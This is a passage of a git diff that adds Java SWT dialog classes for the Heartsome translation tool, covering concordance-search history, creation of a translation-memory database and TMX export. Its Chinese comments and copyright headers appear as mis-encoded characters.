writeHistory(lstSearchHistory, ids, + "net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.searchHistory"); + } + ids.put("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.caseSensitive", + btnIsCaseSensitive.getSelection()); + ids.put("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.ignoreMark", + !btnIsIgnoreMark.getSelection()); + ids.put("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.regEx", + btnApplyRegularExpression.getSelection()); + + ids.put("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.selTB", cmbDatabase.getText()); + + List lstTgt = new ArrayList(); + for (MenuItem item : menu.getItems()) { + if (item.getSelection()) { + lstTgt.add(item.getText()); + } + } + String[] arrTgt = new String[lstTgt.size()]; + lstTgt.toArray(arrTgt); + ids.put("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.selTgt", arrTgt); + + ids.put("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.isExpandFilter", + cmpExpandableFilter.isExpanded()); + ids.put("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.selSrcOrTgt", + cmbSrcOrTgt.getSelectionIndex()); + ids.put("net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.contain", + cmbContain.getSelectionIndex()); + if (okToUse(cmbFilter)) { + String filterString = cmbFilter.getText(); + if (filterString.length() > 0) { + lstFilterHistory.add(0, filterString); + } + writeHistory(lstFilterHistory, ids, + "net.heartsome.cat.database.ui.tm.dialog.ConcordanceSearchDialog.filterHistory"); + } + } + + /** + * Returns true if control can be used. + * @param control + * the control to be checked + * @return true if control can be used + */ + private boolean okToUse(Control control) { + return control != null && !control.isDisposed(); + } + + /** + * Writes the given history into the given dialog store. + * @param history + * the history + * @param settings + * the dialog settings + * @param sectionName + * the section name + * @since 3.2 + */ + private void writeHistory(List history, IDialogSettings settings, String sectionName) { + int itemCount = history.size(); + Set distinctItems = new HashSet(itemCount); + for (int i = 0; i < itemCount; i++) { + String item = (String) history.get(i); + if (distinctItems.contains(item)) { + history.remove(i--); + itemCount--; + } else { + distinctItems.add(item); + } + } + + while (history.size() > 8) { + history.remove(8); + } + + String[] names = new String[history.size()]; + history.toArray(names); + settings.put(sectionName, names); + } + + /** + * Updates the combo with the history. + * @param combo + * to be updated + * @param history + * to be put into the combo + */ + private void updateHistory(Combo combo, List history) { + String findString = combo.getText(); + int index = history.indexOf(findString); + if (index != 0) { + if (index != -1) { + history.remove(index); + } + history.add(0, findString); + Point selection = combo.getSelection(); + updateCombo(combo, history); + combo.setText(findString); + combo.setSelection(selection); + } + } + + /** + * Updates the given combo with the given content. + * @param combo + * combo to be updated + * @param content + * to be put into the combo + */ + private void updateCombo(Combo combo, List content) { + combo.removeAll(); + for (int i = 0; i < content.size(); i++) { + combo.add(content.get(i)); + } + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/DatabaseNameInputDialog.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/DatabaseNameInputDialog.java new file mode 100644 index 0000000..b81e52c --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/DatabaseNameInputDialog.java @@ -0,0 +1,100 @@ +/** + * DatabaseNameInputDialog.java + * + * Version information : + * + * Date:Dec 7, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.dialog; + +import net.heartsome.cat.database.Constants; +import net.heartsome.cat.database.SystemDBOperator; +import net.heartsome.cat.database.ui.tm.resource.Messages; + +import org.eclipse.jface.dialogs.IInputValidator; +import org.eclipse.jface.dialogs.InputDialog; +import org.eclipse.swt.custom.BusyIndicator; +import org.eclipse.swt.widgets.Shell; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 用于创建数æ®åº“时,输入数æ®åº“å称 + * @author Jason + * @version + * @since JDK1.6 + */ +public class DatabaseNameInputDialog extends InputDialog { + + private Logger logger = LoggerFactory.getLogger(DatabaseNameInputDialog.class); + private SystemDBOperator dbop; + + public DatabaseNameInputDialog(Shell parentShell, String dialogTitle, String dialogMessage, String initialValue, + IInputValidator validator) { + super(parentShell, dialogTitle, dialogMessage, initialValue, validator); + } + + public SystemDBOperator getSystemDbOp() { + return this.dbop; + } + + public void setSystemDbOp(SystemDBOperator dbop) { + this.dbop = dbop; + } + + @Override + protected void okPressed() { + SystemDBOperator dbop = getSystemDbOp(); + createNewDatabase(dbop, super.getValue()); + if(getReturnCode() == 2){ + super.okPressed(); + } + } + + private void createNewDatabase(final SystemDBOperator sysDbOp, final String dbName) { + BusyIndicator.showWhile(getShell().getDisplay(), new Runnable() { + public void run() { + + // 检查是å¦åˆ›å»ºäº†ç³»ç»Ÿåº“,没创建则创建 + if (!sysDbOp.checkSysDb()) { + try { + sysDbOp.createSysDb(); + } catch (Exception e) { + logger.error(Messages.getString("dialog.DatabaseNameInputDialog.logger1"), e); + setReturnCode(1); + setErrorMessage(Messages.getString("dialog.DatabaseNameInputDialog.msg1")); + return; + } + } + + sysDbOp.getMetaData().setDatabaseName(dbName); + if (sysDbOp.checkDbExistOnServer()) { + setReturnCode(1); + setErrorMessage(Messages.getString("dialog.DatabaseNameInputDialog.msg2")); + return; + } + + try { + if (Constants.FAILURE == sysDbOp.createDB()) { + setReturnCode(1); + logger.error(Messages.getString("dialog.DatabaseNameInputDialog.logger2")); + setErrorMessage(Messages.getString("dialog.DatabaseNameInputDialog.msg1")); + return; + } + sysDbOp.updataSysDb(Constants.DB_TYPE_TM); + setReturnCode(2); + } catch (Exception e) { + setReturnCode(1); + logger.error(Messages.getString("dialog.DatabaseNameInputDialog.logger2"), e); + setErrorMessage(Messages.getString("dialog.DatabaseNameInputDialog.msg1")); + return; + } + } + }); + } +} diff --git a/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/ExportTmxDialog.java b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/ExportTmxDialog.java new file mode 100644 index 0000000..910a92b --- /dev/null +++ b/database/net.heartsome.cat.database.ui.tm/src/net/heartsome/cat/database/ui/tm/dialog/ExportTmxDialog.java @@ -0,0 +1,877 @@ +/** + * ExportTmxDialog.java + * + * Version information : + * + * Date:Dec 7, 2011 + * + * Copyright notice : + * 本文件åŠå…¶é™„带的相关文件包å«æœºå¯†ä¿¡æ¯ï¼Œä»…é™ç€šç‰¹ç››ç§‘技有é™å…¬å¸æŒ‡å®šçš„,与本项目有关的内部人员和客户è”络人员查阅和使用。 + * 如果您ä¸æ˜¯æœ¬ä¿å¯†å£°æ˜Žä¸­æŒ‡å®šçš„收件者,请立å³é”€æ¯æœ¬æ–‡ä»¶ï¼Œç¦æ­¢å¯¹æœ¬æ–‡ä»¶æˆ–æ ¹æ®æœ¬æ–‡ä»¶ä¸­çš„内容采å–任何其他行动, + * 包括但ä¸é™äºŽï¼šæ³„露本文件中的信æ¯ã€ä»¥ä»»ä½•æ–¹å¼åˆ¶ä½œæœ¬æ–‡ä»¶å…¨éƒ¨æˆ–部分内容之副本ã€å°†æœ¬æ–‡ä»¶æˆ–其相关副本æ供给任何其他人。 + */ +package net.heartsome.cat.database.ui.tm.dialog; + +import java.io.File; +import java.text.MessageFormat; +import java.util.ArrayList; +import java.util.Iterator; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; + +import net.heartsome.cat.common.bean.DatabaseModelBean; +import net.heartsome.cat.common.locale.LocaleService; +import net.heartsome.cat.common.ui.HSDropDownButton; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.database.bean.ExportDatabaseBean; +import net.heartsome.cat.database.bean.ExportFilterBean; +import net.heartsome.cat.database.service.DatabaseService; +import net.heartsome.cat.database.ui.core.ExportFilterStoreConfiger; +import net.heartsome.cat.database.ui.dialog.ExportFilterSettingDialog; +import net.heartsome.cat.database.ui.tm.Utils; +import net.heartsome.cat.database.ui.tm.resource.Messages; +import net.heartsome.cat.document.ExportAbstract; +import net.heartsome.cat.document.ExportTmxImpl; +import net.heartsome.cat.ts.util.ProgressIndicatorManager; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.eclipse.core.runtime.IStatus; +import org.eclipse.core.runtime.Status; +import org.eclipse.core.runtime.jobs.IJobChangeEvent; +import org.eclipse.core.runtime.jobs.Job; +import org.eclipse.core.runtime.jobs.JobChangeAdapter; +import org.eclipse.jface.dialogs.IDialogConstants; +import org.eclipse.jface.dialogs.MessageDialog; +import org.eclipse.jface.dialogs.TrayDialog; +import org.eclipse.jface.resource.JFaceResources; +import org.eclipse.jface.viewers.ArrayContentProvider; +import org.eclipse.jface.viewers.ColumnLabelProvider; +import org.eclipse.jface.viewers.ComboViewer; +import org.eclipse.jface.viewers.ISelectionChangedListener; +import org.eclipse.jface.viewers.IStructuredSelection; +import org.eclipse.jface.viewers.LabelProvider; +import org.eclipse.jface.viewers.ListViewer; +import org.eclipse.jface.viewers.SelectionChangedEvent; +import org.eclipse.jface.viewers.StructuredSelection; +import org.eclipse.jface.viewers.TableViewer; +import org.eclipse.jface.viewers.TableViewerColumn; +import org.eclipse.jface.window.Window; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Cursor; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Control; +import org.eclipse.swt.widgets.DirectoryDialog; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.FileDialog; +import org.eclipse.swt.widgets.Group; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Menu; +import org.eclipse.swt.widgets.MenuItem; +import org.eclipse.swt.widgets.Shell; +import org.eclipse.swt.widgets.Table; +import org.eclipse.swt.widgets.TableColumn; +import org.eclipse.swt.widgets.Text; +import org.eclipse.swt.widgets.ToolBar; +import org.eclipse.swt.widgets.ToolItem; +import org.eclipse.ui.PlatformUI; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 从库中导出为TMX文件 + * @author Jason + * @version + * @since JDK1.6 + */ +public class ExportTmxDialog extends TrayDialog { + public final static Logger logger = LoggerFactory.getLogger(ExportTmxDialog.class); + + private TableViewer dbListViewer; + private ListViewer hasSelLangListViewer; + private ComboViewer srcLangcomboViewer; + private Button hasChangedCodingCbtn; + private ComboViewer encodingComboViewer; + private Text tmxFileText; + private Button browserBtn; + private Button deleteDbBtn; + private Button isTopLevelTmxCbtn; + private Button isTagCbtn; + + private Button hasfilterCbtn; + private ComboViewer filterComboViewer; + private List filterList; // 过滤规则 + private Button filterSetBtn; + private Button deleteFilterBtn; + + private List dbList; + private ExportDatabaseBean currentDatabase; + private String[] pageCodes; + + private ExportFilterStoreConfiger filterStore; + + /** + * Create the dialog. + * @param parentShell + */ + public ExportTmxDialog(Shell parentShell) { + super(parentShell); + this.dbList = new ArrayList(); + this.pageCodes = LocaleService.getPageCodes(); + this.filterStore = new ExportFilterStoreConfiger(); + this.initFilterStore(); + setHelpAvailable(true); + } + + @Override + protected void configureShell(Shell newShell) { + super.configureShell(newShell); + newShell.setText(Messages.getString("dialog.ExportTmxDialog.title")); + } + + /** + * 添加帮助按钮 robert 2012-09-06 + */ + @Override + protected Control createHelpControl(Composite parent) { + // ROBERTHELP 导出tmx + String language = CommonFunction.getSystemLanguage(); + final String helpUrl = MessageFormat.format("/net.heartsome.cat.ts.ui.help/html/{0}/ch06s03.html#export-tmx", + language); + Image helpImage = JFaceResources.getImage(DLG_IMG_HELP); + ToolBar toolBar = new ToolBar(parent, SWT.FLAT | SWT.NO_FOCUS); + ((GridLayout) parent.getLayout()).numColumns++; + toolBar.setLayoutData(new GridData(GridData.HORIZONTAL_ALIGN_CENTER)); + final Cursor cursor = new Cursor(parent.getDisplay(), SWT.CURSOR_HAND); + toolBar.setCursor(cursor); + toolBar.addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + cursor.dispose(); + } + }); + ToolItem helpItem = new ToolItem(toolBar, SWT.NONE); + helpItem.setImage(helpImage); + helpItem.setToolTipText(JFaceResources.getString("helpToolTip")); //$NON-NLS-1$ + helpItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + PlatformUI.getWorkbench().getHelpSystem().displayHelpResource(helpUrl); + } + }); + return toolBar; + } + + /** + * Create contents of the dialog. + * @param parent + */ + @Override + protected Control createDialogArea(Composite parent) { + Composite container = (Composite) super.createDialogArea(parent); + container.setLayout(new GridLayout(1, false)); + + Group dbListGroup = new Group(container, SWT.NONE); + GridLayout glDbListGroup = new GridLayout(2, false); + glDbListGroup.horizontalSpacing = 0; + glDbListGroup.marginHeight = 0; + glDbListGroup.marginWidth = 0; + dbListGroup.setLayout(glDbListGroup); + dbListGroup.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + dbListGroup.setText(Messages.getString("dialog.ExportTmxDialog.dbListGroup")); + + Composite leftComposite = new Composite(dbListGroup, SWT.NONE); + GridLayout glLeftComposite = new GridLayout(1, false); + glLeftComposite.verticalSpacing = 0; + glLeftComposite.marginHeight = 0; + leftComposite.setLayout(glLeftComposite); + leftComposite.setLayoutData(new GridData(SWT.FILL, SWT.FILL, true, false, 1, 1)); + + // 列表和语言设置 + Composite dbListComposite = new Composite(leftComposite, SWT.NONE); + GridLayout glTopLeftComposite = new GridLayout(1, false); + glTopLeftComposite.marginHeight = 0; + glTopLeftComposite.marginWidth = 0; + dbListComposite.setLayout(glTopLeftComposite); + dbListComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + dbListViewer = new TableViewer(dbListComposite, SWT.BORDER | SWT.FULL_SELECTION); + Table table = dbListViewer.getTable(); + GridData gd_table = new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1); + gd_table.heightHint = 100; + table.setLayoutData(gd_table); + table.setHeaderVisible(true); + table.setLinesVisible(true); + dbListViewer.setContentProvider(new ArrayContentProvider()); + dbListViewer.setInput(dbList); + createColumn(dbListViewer); + dbListViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection selection = (IStructuredSelection) event.getSelection(); + currentDatabase = (ExportDatabaseBean) selection.getFirstElement(); + loadData(); + } + }); + + Composite langSetComposite = new Composite(leftComposite, SWT.NONE); + GridLayout gl_langSetComposite = new GridLayout(2, false); + gl_langSetComposite.marginWidth = 0; + langSetComposite.setLayout(gl_langSetComposite); + langSetComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + + Label langSelLabel = new Label(langSetComposite, SWT.NONE); + langSelLabel.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + langSelLabel.setText(Messages.getString("dialog.ExportTmxDialog.langSelLabel")); + + hasSelLangListViewer = new ListViewer(langSetComposite, SWT.BORDER | SWT.V_SCROLL | SWT.MULTI); + org.eclipse.swt.widgets.List list = hasSelLangListViewer.getList(); + GridData glLangList = new GridData(SWT.FILL, SWT.FILL, true, false, 1, 1); + glLangList.heightHint = 76; + list.setLayoutData(glLangList); + hasSelLangListViewer.setContentProvider(new ArrayContentProvider()); + hasSelLangListViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + @SuppressWarnings("unchecked") + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection sel = (IStructuredSelection) event.getSelection(); + if (sel.isEmpty()) { + return; + } + if (currentDatabase != null) { + currentDatabase.getHasSelectedLangs().clear(); + currentDatabase.getHasSelectedLangs().addAll(sel.toList()); + + List canSelSrcLangs = new ArrayList(); + canSelSrcLangs.add("*all*"); + canSelSrcLangs.addAll(sel.toList()); + + currentDatabase.setCanSelSrcLangs(canSelSrcLangs); + srcLangcomboViewer.setInput(canSelSrcLangs); + if (canSelSrcLangs.contains(currentDatabase.getSrcLang())) { + String srcLang = currentDatabase.getSrcLang(); + if (srcLang != null && !srcLang.equals("")) { + for (int i = 0; i < canSelSrcLangs.size(); i++) { + if (canSelSrcLangs.get(i).equals(srcLang)) { + srcLangcomboViewer.getCombo().select(i); + break; + } + } + } + } else { + srcLangcomboViewer.getCombo().select(0); + } + + } + } + }); + + Label srcLangSelLabel = new Label(langSetComposite, SWT.NONE); + srcLangSelLabel.setLayoutData(new GridData(SWT.RIGHT, SWT.CENTER, false, false, 1, 1)); + srcLangSelLabel.setBounds(0, 0, 79, 19); + srcLangSelLabel.setText(Messages.getString("dialog.ExportTmxDialog.srcLangSelLabel")); + + srcLangcomboViewer = new ComboViewer(langSetComposite, SWT.NONE | SWT.READ_ONLY); + Combo combo = srcLangcomboViewer.getCombo(); + GridData gd_combo = new GridData(SWT.LEFT, SWT.CENTER, true, false, 1, 1); + gd_combo.widthHint = 197; + combo.setLayoutData(gd_combo); + srcLangcomboViewer.setContentProvider(new ArrayContentProvider()); + srcLangcomboViewer.addSelectionChangedListener(new ISelectionChangedListener() { + + public void selectionChanged(SelectionChangedEvent event) { + IStructuredSelection sel = (IStructuredSelection) event.getSelection(); + if (sel.isEmpty()) { + return; + } + if (currentDatabase != null) { + currentDatabase.setSrcLang((String) sel.getFirstElement()); + } + } + }); + // æ“作库列的按钮区域 + Composite rightComposite = new Composite(dbListGroup, SWT.NONE); + GridLayout gl_rightComposite = new GridLayout(1, false); + gl_rightComposite.marginRight = 5; + gl_rightComposite.marginHeight = 0; + gl_rightComposite.marginWidth = 0; + rightComposite.setLayout(gl_rightComposite); + rightComposite.setLayoutData(new GridData(SWT.LEFT, SWT.TOP, false, false, 1, 1)); + + HSDropDownButton addDbBtn = new HSDropDownButton(rightComposite, SWT.None); + addDbBtn.setBounds(0, 0, 104, 31); + addDbBtn.setText(Messages.getString("dialog.ExportTmxDialog.AddDbBtn")); + Menu menu = addDbBtn.getMenu(); + MenuItem fileItem = new MenuItem(menu, SWT.PUSH); + fileItem.setText(Messages.getString("tm.dialog.addTm.DropDownButton.AddFileTm")); + fileItem.addSelectionListener(new SelectionAdapter() { + @Override + public void widgetSelected(SelectionEvent e) { + FileDialog fileDialg = new FileDialog(getShell()); + fileDialg.setFilterExtensions(new String[] { "*.hstm", "*.*" }); + String result = fileDialg.open(); + if (result == null) { + return; + } + File f = new File(result); + if (!f.exists()) { + return; + } + + Map r = null; + try { + r = Utils.convertFile2TmModel(f, true); + } catch (Exception e1) { + MessageDialog.openError(getShell(), Messages.getString("tm.dialog.addFileTm.errorTitle"), + e1.getMessage()); + } + if (r == null) { + return; + } + Iterator it = r.keySet().iterator(); + if (it.hasNext()) { + DatabaseModelBean selectedVal = it.next(); + ExportDatabaseBean bean = new ExportDatabaseBean(selectedVal.toDbMetaData(), r.get(selectedVal)); + if (!dbList.contains(bean)) { // 实现: é‡å†™equals方法 + dbList.add(bean); + bean.setIndex(dbList.size() + ""); + } + dbListViewer.getTable().removeAll(); + dbListViewer.setInput(dbList); + if (dbList.size() != 0) { + deleteDbBtn.setEnabled(true); + browserBtn.setEnabled(true); + selectCurrentDb(currentDatabase); + } else { + deleteDbBtn.setEnabled(false); + browserBtn.setEnabled(false); + } + } + } + }); + + MenuItem serverItem = new MenuItem(menu, SWT.PUSH); + serverItem.setText(Messages.getString("tm.dialog.addTm.DropDownButton.AddServerTm")); + serverItem.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + TmDbManagerDialog dialog = new TmDbManagerDialog(getShell()); + dialog.setDialogUseFor(TmDbManagerDialog.TYPE_DBSELECTED); + + if (dialog.open() == Window.OK) { + Map selDb = dialog.getHasSelectedDatabase(); + Iterator> entryIt = selDb.entrySet().iterator(); + while (entryIt.hasNext()) { + Entry entry = entryIt.next(); + ExportDatabaseBean bean = new ExportDatabaseBean(entry.getKey().toDbMetaData(), entry + .getValue()); + if (!dbList.contains(bean)) { // 实现: é‡å†™equals方法 + dbList.add(bean); + bean.setIndex(dbList.size() + ""); + } + } + dbListViewer.getTable().removeAll(); + dbListViewer.setInput(dbList); + } + + if (dbList.size() != 0) { + deleteDbBtn.setEnabled(true); + browserBtn.setEnabled(true); + selectCurrentDb(currentDatabase); + } else { + deleteDbBtn.setEnabled(false); + browserBtn.setEnabled(false); + } + } + }); + + deleteDbBtn = new Button(rightComposite, SWT.NONE); + deleteDbBtn.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1)); + deleteDbBtn.setBounds(0, 0, 104, 31); + deleteDbBtn.setText(Messages.getString("dialog.ExportTmxDialog.deleteDbBtn")); + deleteDbBtn.setEnabled(false); + deleteDbBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + IStructuredSelection sel = (IStructuredSelection) dbListViewer.getSelection(); + if (sel.isEmpty()) { + MessageDialog.openInformation(getShell(), Messages.getString("dialog.ExportTmxDialog.msgTitle"), + Messages.getString("dialog.ExportTmxDialog.msg1")); + return; + } + dbList.removeAll(sel.toList()); + dbListViewer.remove(sel.toArray()); + if (dbList.size() != 0) { + deleteDbBtn.setEnabled(true); + browserBtn.setEnabled(true); + selectCurrentDb(currentDatabase); + } else { + currentDatabase = null; + deleteDbBtn.setEnabled(false); + browserBtn.setEnabled(false); + } + } + }); + + // 过虑规则 + Composite filterSetComposite = new Composite(container, SWT.NONE); + GridLayout glFilterSetComposite = new GridLayout(4, false); + glFilterSetComposite.marginWidth = 0; + glFilterSetComposite.marginHeight = 0; + filterSetComposite.setLayout(glFilterSetComposite); + filterSetComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + hasfilterCbtn = new Button(filterSetComposite, SWT.CHECK); + hasfilterCbtn.setText(Messages.getString("dialog.ExportTmxDialog.hasfilterCbtn")); + hasfilterCbtn.setSelection(false); + hasfilterCbtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + // TODO å®žçŽ°é€‰æ‹©æ”¹å˜ + filterComboViewer.getCombo().setEnabled(hasfilterCbtn.getSelection()); + filterSetBtn.setEnabled(hasfilterCbtn.getSelection()); + deleteFilterBtn.setEnabled(hasfilterCbtn.getSelection()); + } + }); + + filterComboViewer = new ComboViewer(filterSetComposite, SWT.NONE); + Combo filterCombo = filterComboViewer.getCombo(); + filterCombo.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + filterCombo.setEnabled(hasfilterCbtn.getSelection()); + filterComboViewer.setContentProvider(new ArrayContentProvider()); + filterComboViewer.setLabelProvider(new FilterLabelProvider()); + filterComboViewer.setInput(filterList); + filterCombo.select(0); // 有一个空的过滤器 + + filterSetBtn = new Button(filterSetComposite, SWT.NONE); + filterSetBtn.setText(Messages.getString("dialog.ExportTmxDialog.filterSetBtn")); + filterSetBtn.setEnabled(hasfilterCbtn.getSelection()); + filterSetBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + IStructuredSelection sel = (IStructuredSelection) filterComboViewer.getSelection(); + ExportFilterBean bean = (ExportFilterBean) sel.getFirstElement(); + if (bean.equals(filterList.get(0))) { // 0ä½ç½®çš„始终存在 Empty + // 新建 + filterSetting(null); + } else { + // 编辑 + filterSetting(bean); + } + } + }); + + deleteFilterBtn = new Button(filterSetComposite, SWT.NONE); + deleteFilterBtn.setText(Messages.getString("dialog.ExportTmxDialog.deleteFilterBtn")); + deleteFilterBtn.setEnabled(hasfilterCbtn.getSelection()); + deleteFilterBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + IStructuredSelection sel = (IStructuredSelection) filterComboViewer.getSelection(); + ExportFilterBean bean = (ExportFilterBean) sel.getFirstElement(); + if (bean.equals(filterList.get(0))) { // 总是存在一个空的filter,显示为"æ— " + return; + } + + if (MessageDialog.openConfirm(getShell(), Messages.getString("dialog.ExportTmxDialog.msgTitle"), + Messages.getString("dialog.ExportTmxDialog.msg2"))) { + + filterStore.deleteFilterRuleByName(bean.getFilterName(), "TMX"); + int i = filterList.indexOf(bean); + filterList.remove(i); + filterComboViewer.setInput(filterList); + filterComboViewer.getCombo().select(0); + } + } + }); + + isTopLevelTmxCbtn = new Button(container, SWT.CHECK); + isTopLevelTmxCbtn.setText(Messages.getString("dialog.ExportTmxDialog.isTopLevelTmxCbtn")); + isTopLevelTmxCbtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + boolean temp = isTopLevelTmxCbtn.getSelection(); + if (temp) { + isTagCbtn.setSelection(false); + isTagCbtn.setEnabled(false); + } else { + isTagCbtn.setEnabled(true); + } + } + }); + + isTagCbtn = new Button(container, SWT.CHECK); + isTagCbtn.setText(Messages.getString("dialog.ExportTmxDialog.isTagCbtn")); + isTagCbtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + boolean temp = isTagCbtn.getSelection(); + if (temp) { + isTopLevelTmxCbtn.setSelection(false); + isTopLevelTmxCbtn.setEnabled(false); + } else { + isTopLevelTmxCbtn.setEnabled(true); + } + } + }); + Composite encodingComposite = new Composite(container, SWT.NONE); + GridLayout glEncodingComposite = new GridLayout(2, false); + glEncodingComposite.marginWidth = 0; + glEncodingComposite.marginHeight = 0; + encodingComposite.setLayout(glEncodingComposite); + encodingComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + hasChangedCodingCbtn = new Button(encodingComposite, SWT.CHECK); + hasChangedCodingCbtn.setText(Messages.getString("dialog.ExportTmxDialog.hasChangedCodingCbtn")); + hasChangedCodingCbtn.setSelection(false); + hasChangedCodingCbtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + encodingComboViewer.getCombo().setEnabled(hasChangedCodingCbtn.getSelection()); + } + }); + + encodingComboViewer = new ComboViewer(encodingComposite, SWT.NONE | SWT.READ_ONLY); + Combo encodingCombo = encodingComboViewer.getCombo(); + GridData gdEncodingCombo = new GridData(SWT.FILL, SWT.CENTER, false, false, 1, 1); + gdEncodingCombo.widthHint = 279; + encodingCombo.setLayoutData(gdEncodingCombo); + encodingCombo.setEnabled(hasChangedCodingCbtn.getSelection()); + encodingComboViewer.setContentProvider(new ArrayContentProvider()); + encodingComboViewer.setInput(pageCodes); + + Composite tmxFileSetComposite = new Composite(container, SWT.NONE); + GridLayout glTmxFileSetComposite = new GridLayout(3, false); + glTmxFileSetComposite.marginWidth = 0; + glTmxFileSetComposite.marginHeight = 0; + tmxFileSetComposite.setLayout(glTmxFileSetComposite); + tmxFileSetComposite.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + + Label tmxFileLabel = new Label(tmxFileSetComposite, SWT.NONE); + tmxFileLabel.setText(Messages.getString("dialog.ExportTmxDialog.tmxFileLabel")); + + tmxFileText = new Text(tmxFileSetComposite, SWT.BORDER); + tmxFileText.setLayoutData(new GridData(SWT.FILL, SWT.CENTER, true, false, 1, 1)); + tmxFileText.setEnabled(false); + + browserBtn = new Button(tmxFileSetComposite, SWT.NONE); + browserBtn.setText(Messages.getString("dialog.ExportTmxDialog.browserBtn")); + browserBtn.setEnabled(false); + browserBtn.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent e) { + if (dbList.size() > 1) { + DirectoryDialog dlg = new DirectoryDialog(getParentShell()); + String filePath = dlg.open(); + if (filePath != null) { + tmxFileText.setText(filePath); + } + } else { + FileDialog dlg = new FileDialog(getShell(), SWT.SAVE); + String[] filterExt = { "*.tmx" }; + dlg.setFilterExtensions(filterExt); + String filePath = dlg.open(); + if (filePath != null) { + tmxFileText.setText(filePath); + } + } + } + }); + + return container; + } + + /** + * 选择当å‰é€‰ä¸­çš„æ•°æ®åº“ ; + */ + private void selectCurrentDb(ExportDatabaseBean bean) { + if (bean != null) { + dbListViewer.setSelection(new StructuredSelection(bean)); + } else { + if (dbList.size() != 0) { + dbListViewer.setSelection(new StructuredSelection(dbList.get(0))); + } + } + dbListViewer.getTable().setFocus(); + } + + private void filterSetting(ExportFilterBean filter) { + + ExportFilterSettingDialog filterDlg = new ExportFilterSettingDialog(getShell(), "TMX"); + filterDlg.setFilterStore(filterStore); // 两个对è¯æ¡†å…±ç”¨ä¸€ä¸ªstore + if (filter != null) { // 编辑当å‰è¿‡æ»¤æ¡ä»¶ + filterDlg.setCurrentFilter(filter); + if (filterDlg.open() == Window.OK) { + int i = filterList.indexOf(filter); + filterList.remove(i); + filterList.add(i, filterDlg.getSettingResult()); + 